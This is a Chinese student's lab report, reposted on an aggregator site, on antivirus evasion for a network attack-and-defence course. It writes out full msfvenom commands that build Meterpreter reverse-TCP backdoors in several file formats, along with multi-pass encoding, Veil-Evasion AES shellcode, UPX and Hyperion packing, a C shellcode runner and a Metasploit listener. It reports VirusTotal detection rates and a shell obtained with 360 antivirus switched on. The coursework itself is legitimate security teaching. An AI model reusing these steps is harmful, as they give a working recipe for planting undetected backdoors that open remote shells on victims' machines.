20222409 2024-2025-1 《网络与系统攻防技术》实验三实验报告

news/2025/1/15 17:12:23/文章来源:https://www.cnblogs.com/20222409wqb/p/18504032

1.实验内容

1.1 本周学习内容

1.1.1 后门工具使用

* Netcat: 用于端口探测、局域网通信、文件传输,以及正向和反向连接的测试。
* Meterpreter: 作为Metasploit框架中的载荷模块,常用于溢出攻击成功后的控制会话,提供持久化的控制通道。
* Veil-Evasion: Linux平台上的免杀工具,用于生成可绕过杀软检测的载荷。

1.1.2 用户态与内核态的切换

* 了解了用户态(Ring 3)与内核态(Ring 0)的区别及其切换时机(如系统调用和中断发生时)

1.1.3 进程隐藏与自启动技术

* 学习了进程隐藏技术,包括进程重命名、利用系统服务伪装以及API Hook实现
* 同时掌握了如何实现恶意进程的自启动。

1.1.4 杀软检测原理

* 进一步理解了杀软的检测机制:基于特征码、行为分析、启发式扫描和云检测等技术。

1.1.5 免杀技术与方法

* 掌握了免杀技术(Anti-AntiVirus)的多种实现方法(修改特征码、调整校验和、花指令混淆、加壳、内存免杀)。

1.2 实践内容

(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

  • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
  • veil,加壳工具
  • 使用C + shellcode编程

(2)通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。

(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

1.3 问题回答

1.3.1 杀软是如何检测出恶意代码的?

* 通过特征码匹配,检测文件是否包含已知恶意代码的独特特征码。
* 使用“行为分析”监测代码运行时的行为模式,比如反向连接、权限提升或文件修改等,判断其是否为恶意行为。
* 通过“启发式检测”,分析程序的结构和执行逻辑,对未知威胁进行智能判断。
* 结合“云检测”技术,将可疑文件上传至云端,由服务器进行实时分析和判别。

1.3.2 免杀是做什么?

* 通过各种技术手段使恶意代码避开杀软的检测,从而在系统中不被识别。
* 在渗透测试中用于确保攻击载荷能够在目标系统中稳定运行。

1.3.3 免杀的基本方法有哪些?

* 修改文件的“特征码”,如对恶意代码重新编译、编码、加密等,以避免直接匹配。
* 通过“加壳”压缩或加密文件,改变文件的静态结构,从而绕过简单的特征码检测。
* 利用“内存免杀”,将代码加载到内存中执行,避免在磁盘上留有明显痕迹。
* 插入无关代码或使用反混淆技术,通过“花指令”使代码逻辑复杂化,从而扰乱杀软的行为分析。

2.实验过程

本次实验旨在通过使用不同工具和技术实现恶意载荷的生成和免杀处理。以下是Windows和Linux端的IP地址信息:

  • Windows端IP地址如图1所示,为:192.168.43.33。
  • Linux端IP地址如图2所示,为:192.168.21.131。

    图1:Windows端IP地址

    图2:Linux端IP地址

2.1 使用msf编码器、Veil-Evasion和Shellcode编程实现基础免杀

2.1.1 使用msf编码器生成恶意载荷

首先,我们将使用Metasploit工具中的msfvenom生成一个基本的Meterpreter反向连接载荷。通过多次编码,我们可以初步提升免杀效果。

  1. 生成基础载荷
    在此步骤中,我们将创建一个反向连接的载荷。实验命令如下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.21.131 LPORT=2409 -f exe -o 20222409.exe

命令格式:

msfvenom -p <PAYLOAD> LHOST=<IP地址> LPORT=<端口> -f <文件格式> -o <输出文件>

后续如需生成.jar .php .py格式的文件,只需在文件格式处修改即可。

参数解释:
-p windows/meterpreter/reverse_tcp:指定Payload类型为Windows的Meterpreter反向TCP连接。
LHOST=192.168.21.131:监听主机IP(攻击者的IP)。
LPORT=2409:监听端口
-f exe:生成Windows可执行文件格式(.exe)。
-o 20222409.exe:输出文件名称为 20222409.exe。

命令作用:生成一个基础的Meterpreter反向连接载荷,以便在目标系统上运行并连接到攻击者的监听端。

结果如图3所示:

图3:生成的基础载荷

2 进行编码
为了进一步增强免杀效果,我们将对生成的载荷文件进行多次编码。此处使用编码器shikata_ga_nai对载荷进行多层编码处理。实验命令如下:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.21.131 LPORT=2409 -e x86/shikata_ga_nai -i 1 -f exe -o 20222409_1.exe

命令格式:

msfvenom -p <PAYLOAD> LHOST=<IP地址> LPORT=<端口> -e <编码器> -i <编码次数> -f <文件格式> -o <输出文件>

如果需要修改编码次数,只需在编码次数部分进行相应的调整。

参数解释:
-e x86/shikata_ga_nai:指定使用 shikata_ga_nai 编码器对载荷编码,减少文件特征。
-i 1:指定编码的次数为1,增加编码深度。

命令作用:对初始生成的载荷进行1次编码,改变其二进制特征,提升免杀效果。

  1. 生成其他格式文件
    除了直接生成 .exe 文件,还可以生成其他格式的后门文件,以适应不同的操作环境。以下是常用的几种文件格式及其生成命令:

# 多次编码
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.21.131 LPORT=2409 -e x86/shikata_ga_nai -i 10 -f exe -o 20222409_2.exe# Java (.jar)
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.21.131 LPORT=2409 -f jar -o 20222409.jar# PHP (.php)
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.21.131 LPORT=2409 -f raw -o 20222409.php# Python (.py)
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.21.131 LPORT=2409 -f raw -o 20222409.py# Android (.apk)
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.21.131 LPORT=2409 -o 20222409.apk
  1. 检测结果
    为了验证生成的免杀文件的效果,我们将以20222409.exe文件为例,详细介绍其传输和上传至VirusTotal检测的过程及结果分析。其他格式文件的传输过程类似,具体检测结果将汇总在表1中。

我们使用netcat将生成的20222409.exe文件从Linux虚拟机传输至Windows主机。以下是使用netcat传输文件的详细步骤,后续传输文件过程将省略:
打开Windows命令行窗口(如失败则以管理员身份运行),进入Netcat安装目录,然后输入以下指令以在指定端口上监听并接收文件:

nc -l -p 2409 > 20222409.exe

linux终端下输入以下指令将生成的 20222409.exe 文件发送至Windows主机::

nc 192.168.43.33 2409 < 20222409.exe

执行完成后,Windows主机的Netcat所在目录下将出现 20222409.exe 文件。至此,文件成功传输至Windows主机。

将20222409.exe 文件上传至VirusTotal,观察检测率,结果如图4-1所示。

图4-1:20222409.exe的VirusTotal检测结果

其他文件检测结果如表1所示。图略,仅展示效果较好的.php和.py文件的检测截图:

图4-2:.php文件检测结果

图4-3:.py文件检测结果

免杀方式 文件名 VirusTotal结果
msfvenom直接生成 20222409.exe 60/72
msfvenom编码一次 20222409_1.exe 60/72
msfvenom多次编码 20222409_2.exe 60/72
生成.jar后门文件 20222409.jar 34/64
生成.php后门文件 20222409.php 9/62
生成.py后门文件 20222409.py 0/60
生成.apk后门文件 20222409.apk 27/66

表1:不同免杀方式的VirusTotal检测结果

2.1.2 使用Veil-Evasion进行免杀处理

在多次编码的基础上,我们进一步使用Veil-Evasion工具生成不同语言的免杀载荷,以降低检测率。

2.1.2.1 安装和进入Veil-Evasion工具
  1. 更新Kali系统
sudo apt update && sudo apt upgrade -y
  1. 安装依赖项
sudo apt install -y git curl wine python3 python3-pip mingw-w64

命令解释:
git:用于克隆Veil代码库。
curl:用于从外部获取安装脚本或资源。
wine:帮助运行Windows可执行文件。
python3 和 python3-pip:用于运行Veil及其脚本。
mingw-w64:用于生成Windows可执行文件。

  1. 从GitHub克隆Veil代码库
git clone https://github.com/Veil-Framework/Veil.git
  1. 进入Veil目录并运行安装脚本
cd Veil
./config/setup.sh --force --silent

--force:强制安装,即使系统可能已有部分依赖项。
--silent:在不提示确认的情况下自动安装所有依赖项。

2.1.2.2 配置和生成免杀载荷

一旦我们成功安装了Veil-Evasion工具,就可以开始生成基于C语言的反向连接载荷。按顺序输入以下命令:

veil
use evasion
use c/meterpreter/rev_tcp.py
set LHOST 192.168.21.131
set LPORT 2409
generate

这段代码的作用是设置反向连接的参数并生成可执行文件。生成后的文件将会在特定的路径中保存。结果如图5所示:

图5:Veil-Evasion生成的文件检测结果

根据图5右侧窗口的路径找到生成的20222409_veil.exe文件。
根据图5右侧窗口的路径,我们可以找到生成的20222409_veil.exe文件。接下来,我们将使用netcat工具将文件从Linux主机传输到Windows主机,具体命令略,如图6所示:

图6:文件传输结果

2.1.2.3 加壳

为了进一步增强免杀效果,我们将对生成的可执行文件进行加壳处理。加壳技术可以有效隐藏恶意代码的特征,使其更难被检测到。

  1. 使用UPX加壳
    输入以下命令对文件进行UPX加壳处理:
upx 20222409_veil.exe -o 20222409_veil_upx.exe

结果如图7所示


图7:UPX加壳结果
2. 使用Hyperion加壳
接下来,我们将使用Hyperion对UPX加壳后的文件进行进一步的处理。首先,将文件复制到Hyperion目录中:

cp 20222409_veil_upx.exe /usr/share/windows-resources/hyperion

在/usr/share/windows-resources/hyperion路径下,文件状态如图8所示:

图8:Hyperion文件状态

然后,使用Hyperion进行加壳处理:

wine hyperion.exe -v 20222409_veil_upx.exe 20222409_veil_upx_hyperion.exe
2.1.2.4 检测生成结果

我们对UPX和Hyperion加壳后的文件进行检测,结果如图9-1和图9-2所示:

图9-1:UPX加壳检测结果

图9-2:Hyperion加壳检测结果

2.1.3 使用C语言和Shellcode编程进行免杀

首先,我们使用msfvenom生成C语言格式的Shellcode,命令如下:

2.1.3.1 生成Shellcode

通过 msfvenom 生成C格式的Shellcode,并嵌入到C语言代码中,命令如下:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.105 LPORT=2409 -f c -o shellcode_2409.c

命令格式:

msfvenom -p <PAYLOAD> LHOST=<IP地址> LPORT=<端口> -f c -o <输出文件>

参数解释:
-f c:将生成的Shellcode输出为C语言格式。
-o shellcode_2409.c:将输出文件命名为 shellcode_2409.c。

2.1.3.2 嵌入Shellcode并编写C代码

接下来,我们将编辑生成的Shellcode文件,嵌入自定义的C代码。使用以下指令编辑shellcode_2409.c文件:

vi shellcode_2409.c

在编辑模式下,在buf字符串后面添加以下内容:

int main(){int(*func)()=(int(*)())buf; func();
}
2.1.3.3 编译生成可执行文件

使用命令编译shellcode_2409.c文件,生成相应的.exe文件

i686-w64-mingw32-g++ 20212416xxn.c -o xxn_shellcode.exe

这一段代码将使得我们生成的Shellcode能够在运行时被调用。

2.1.3.4 上传检测

最后,我们将生成的可执行文件进行检测,结果如图10所示:

图10:Shellcode的VirusTotal检测结果

2.2 组合多种技术实现恶意代码免杀

在本实验的后期,我们将不同的免杀技术结合使用,以实现更高效的恶意代码免杀效果。请按以下步骤操作:

veil
use evasion
list
use 2
use 29
generate
2


图11:use 29命令时的情景
如图11所示,在进入Veil-Evasion工具后,呈现在我们眼前的是可用的Payload类型列表。在列表中,我们选择第29项python/shellcode_inject/aes_encrypt.py。
这一选项的作用是利用AES加密算法来加密生成的Shellcode,并在运行时解密执行,以此来避免静态病毒检测技术的识别。这种方式通过对恶意代码的加密隐藏了恶意指令的特征码,从而能够有效提升免杀效果。


图12:generate、2命令时的情景
在图12中,我们可以看到具体的生成过程。
在本实验中,我们选择了选项2,即使用MSFvenom生成Shellcode。该方式允许我们借助Metasploit框架生成符合需求的Shellcode,并直接在Veil中使用,以便最大化兼容性和功能支持。
选定MSFvenom后,程序提示我们输入生成Shellcode所需的各项参数:

  • Payload:我们输入windows/meterpreter/reverse_tcp,指定生成Windows系统下的反向TCP连接Meterpreter载荷。
  • LHOST:攻击者的IP地址,此处为192.168.56.105。
  • LPORT:监听端口号,此处为2409。

检测结果如图13所示,可见效果不错:

图13:组合技术检测结果

此外,通过360扫描20222409_CombinedTech.py所在文件夹,未发现病毒,如图14所示:

图14:360扫描结果

可以说,在本次实验中,借助Veil-Evasion工具和MSFvenom生成Shellcode,再结合AES加密技术,我们成功生成了一个具有较高免杀能力的恶意载荷。VirusTotal的检测显示,大部分主流引擎未能识别出该加密Shellcode的特征。

2.3 在开启杀软的电脑上验证免杀效果

为了进一步验证载荷的隐蔽性和免杀能力,我们在一台开启了360杀毒软件的Windows计算机上执行了此次实验。在这种环境下运行恶意载荷,可以真实地评估其在防护软件监控下的表现。

2.3.1 准备Shellcode载荷

  1. 生成Shellcode并编码
    使用以下命令:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 9 -b '\x00' lhost=192.168.56.105 lport=2409 -f raw -o 20222409_AnotherComputer.raw

生成的Shellcode文件20222409_AnotherComputer.raw将在后续步骤中使用。检测结果如图15所示:
virustotal检测结果如图15所示:

图15:

2.3.2 启动监听并执行Shellcode

接下来,我们在攻击者机器(Kali Linux)上配置并启动监听,等待目标机器上的反向连接。

  1. 启动监听
    输入以下命令:
msfconsole
use exploit/multi/handler  
set payload windows/meterpreter/reverse_tcp   
set LHOST 192.168.56.105
set LPORT 2409
exploit
  1. 在Windows目标机上执行Shellcode
    在Windows端,我们需要调用shellcode_launcher程序并加载生成的Shellcode文件。首先,进入Shellcode文件所在目录,然后执行以下命令:
shellcode_launcher.exe -i 20222409_AnotherComputer.raw
  1. 验证连接结果
    在Kali端的Metasploit控制台中,当目标主机成功连接回监听端口时,我们可以获得目标主机的Meterpreter会话。即便在360杀毒软件开启的情况下,仍然成功建立了Shell(ls命令成功)并获取了目标主机的控制权。这说明在多次编码和加载器的支持下,生成的Shellcode具备较高的隐蔽性,能够绕过防护软件的检测。具体结果如图16所示:

    图16:在360杀毒软件开启情况下成功获得主机Shell

3.问题及解决方案

  • 问题1:Veil安装过程中遇到依赖兼容性问题,无法安装Wine32
  • 问题1解决方案:在安装Veil时,执行sudo apt-get install wine32命令报错,原因是Kali Linux默认仅支持64位架构,而Veil的依赖需要32位支持。为解决这一问题,先运行dpkg --add-architecture i386命令为系统添加32位架构支持,然后更新系统apt-get update并重新执行sudo apt-get install wine32安装Wine32依赖。完成以上步骤后,重新运行Veil的安装命令/usr/share/veil/config/setup.sh --force --silent,安装成功。

4.学习感悟、思考等

在本次实验中,通过深入探索各种免杀技术及其实现方法,我对恶意代码的生成和传输有了更深的理解。尤其是通过使用msfvenom和veil-evasion工具,观察到不同编码和加壳策略对文件特征的影响,这让我意识到攻击者在设计恶意软件时的思维方式。实验中,针对不同平台的payload生成,以及对各种格式的支持,使我体会到技术的多样性和复杂性。此外,通过将shellcode嵌入自定义C程序,进一步增强了免杀效果,展示了编程与安全的结合如何带来新的可能性。这样的实践不仅提升了我的技术能力,还激发了对网络安全攻防技术更深入的思考,使我更加关注系统防御的必要性和多样化的应对策略。

参考资料

  • Veil-Evasion安装及使用》
  • linux卸载veil,Kali Linux下Veil安装与使用的方法

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/824886.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

VMwareWorkstation pro 17安装Win11(亲测好用)

1、安装包我用夸克网盘分享了「Win11_23H2_China_GGK_Chinese_Simplified_x64v2.iso」,点击链接即可保存。打开「夸克APP」: 链接:https://pan.quark.cn/s/817ccfc90f29 提取码:pPn1 2、安装教程(基于WMware workstation pro 17) 1) 打开WMware Workstation,点击创…

论文速读记录 - 202410

秋意浓,看几篇论文解解乏吧~坚持看论文不容易啊,十月也是多事之秋。看的论文有点少,也有点散,还是要专注一些具体的方向,梳理脉络,整理方案,才是看论文找解决方案的正确思路。 以后的每篇论文解读的后面,会附带一点个人看法/评论,如有冒犯还请见谅。 目录:LATE CHUNK…

现场可编程逻辑门阵列(FPGA)可应用的领域有哪些

现场可编程逻辑门阵列(FPGA)是一种能够根据需求现场编程的集成电路,能提供灵活的硬件解决方案。FPGA可应用的领域有信号处理、通信系统、工业自动化、医疗设备、军事与航空、金融计算、图像处理和视频分析等。其中,在信号处理方面,FPGA可以执行复杂的并行计算,用于滤波和…

NOIP2023 做题笔记

NOIP将近,由于我实力太菜,所以只能写写真题提升自己了。 P9868 [NOIP2023] 词典 简单字符串题,注意到可以换无限次,所以直接处理出每个字符串中最小的字符数和最大字符数就行了。#include<bits/stdc++.h> #define mxn 3010 using namespace std; char s[mxn][mxn]; i…

Windows 多次制作母盘,备份文件变大的问题

公司产品基于Win11 23H2镜像版本制作母盘,我们发现随着版本迭代,基于上一版本母盘生成新母盘备份,母盘文件会越来越大。 此处说明下镜像与母盘文件的区别, 1. 镜像是指操作系统的压缩文件,常见格式是ISO、WIM、ESD,用于安装,有灵活的安装部署选项。 2. 母盘文件是指在某…

怎么利用hadoop搭建自己的云计算

我们为了能够更加方便来识别主机,我们使用主机名而不是使用IP地址,以免多处配置带来更多的麻烦。把hd-master、hd-node1、hd-node2三台虚拟机服务器中的主机名(hostname)分别更改为master、node1、node2。一、怎么利用hadoop搭建自己的云计算 (1) 我们为了能够更加方便来识…

28 计算机网络

两台机器连接就构成的网络 计算机近距离构成的网络叫做局域网,lan;一根电缆连接几台电脑,相互之间通过电缆传输信息。最著名是以太网技术。 一台上传,其余都可以在电缆里收到。为了避免接受无意义信息,每台电脑前加一个

Phonegap和Titanium用作移动开发,各有哪些优缺点

Phonegap和Titanium都是流行的移动开发框架,各自具有独特的优缺点。1、Phonegap:优点包括易学习、跨平台兼容、社区支持丰富;缺点有性能限制、原生功能限制。2、Titanium:优点涵盖了原生体验、强大的性能、大量的自定义选项;缺点则是学习曲线较陡、社区支持有限。例如,Ph…

DBeaver如何插入一行新数据或者复制一行新数据,真方便

前言 我们在使用DBeaver时,经常是需要操作数据库表的,比如新加一行数据等。DBeaver给我们提供了快速的操作方法,今天就来介绍下。 如何插入新数据 首先,我们选中要插入数据的那个位置,就是要选中一行数据。然后,我们点击下面的这两个按钮,其中一个按钮是新增一行,一个按…

二叉树的递归遍历

二叉树的递归遍历(前、中、后序)二叉树的递归遍历 题目链接: 前序遍历: LeetCode 144 中序遍历: LeetCode 94 后序遍历: LeetCode 145 描述 给你二叉树的根节点 root ,返回它节点值的 前序 、 中序 、 后序 遍历。示例1:前序遍历输入:root = [1,null,2,3] 输出:[1,2,3]示…

靈機 AI 解夢:傳統周公解夢的現代升級

# 靈機AI解夢:傳統周公解夢的現代升級在人類文化的長河中,夢一直是一個充滿神秘色彩的領域。人們對夢的解讀和探索從未停止,從古老的周公解夢到現代的各種解夢理論和方法,都反映了人類對潛意識世界的好奇與渴望。靈機AI解夢平台的出現,為解夢領域帶來了新的活力和可能,與…

20222418 2024-2025-1 《网络与系统攻防技术》实验三实验报告

1.实验内容 实验内容 (1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧正确使用msf编码器,使用msfvenom生成如jar之类的其他文件 veil,加壳工具 使用C + shellcode编程(2)通过组合应用各种技术实现恶意代码免杀 如果成功实现了免杀的,简单语言描…